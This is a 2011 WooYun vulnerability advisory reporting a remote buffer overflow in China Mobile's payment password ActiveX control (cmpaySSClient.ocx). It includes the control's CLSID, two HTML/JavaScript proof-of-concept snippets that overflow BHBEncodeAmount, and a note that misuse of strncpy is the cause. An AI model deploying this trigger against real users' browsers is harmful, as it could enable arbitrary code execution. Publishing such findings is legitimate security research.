当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2011-01922

漏洞标题:中国移动手机支付密码控件远程溢出漏洞

相关厂商:中国移动

漏洞作者: pcasa

提交时间:2011-04-17 22:47

修复时间:2011-04-18 06:31

公开时间:2011-04-18 06:31

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2011-04-17: 积极联系厂商并且等待厂商认领中,细节不对外公开
2011-04-18: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

中国移动手机支付密码控件存在一个远程溢出漏洞,可以执行任意代码

详细说明:

支付密码控件cmpaySSClient.ocx接口存在溢出漏洞可以执行任意代码,测试代码如下:

<object classid='clsid:C15DDF55-9AE3-490A-A6F5-E63020698D5C' id='obj' >
</object>
var arg;
arg=Array(10240);
obj.BHBEncodeAmount(arg);


漏洞证明:

测试文件版本号: 1.0.1.3
在XPSP3和IE6中测试, 使用WinDbg进行调试

<object classid='clsid:C15DDF55-9AE3-490A-A6F5-E63020698D5C' id='obj' >
</object>
var arg;
arg="";
for (i=0; i<1024*2+8+4; i++) arg+="A";
arg += "PPPP";
for (i=0; i<1024*8; i++) arg+="C";
obj.BHBEncodeAmount(arg);


修复方案:

在使用_strncpy函数时长度参数取值,应该以目标缓冲区的作为字符个数参数,而代码中却以源字符串长度为字符个数参数
此为对函数用法理解不正确导致的,有多处使用strncpy函数的地方均存在安全隐患.

版权声明:转载请注明来源 pcasa@乌云


漏洞回应

厂商回应:

危害等级:暂时无回应

漏洞Rank:15

确认时间:2011-04-18 06:31

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2011-04-18 12:08 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    额 代码没全啊

  2. 2012-04-30 15:39 | Say ( 路人 | Rank:17 漏洞数:4 | 谁又会鉴定谁正常?)

    移动这态度果然碉堡了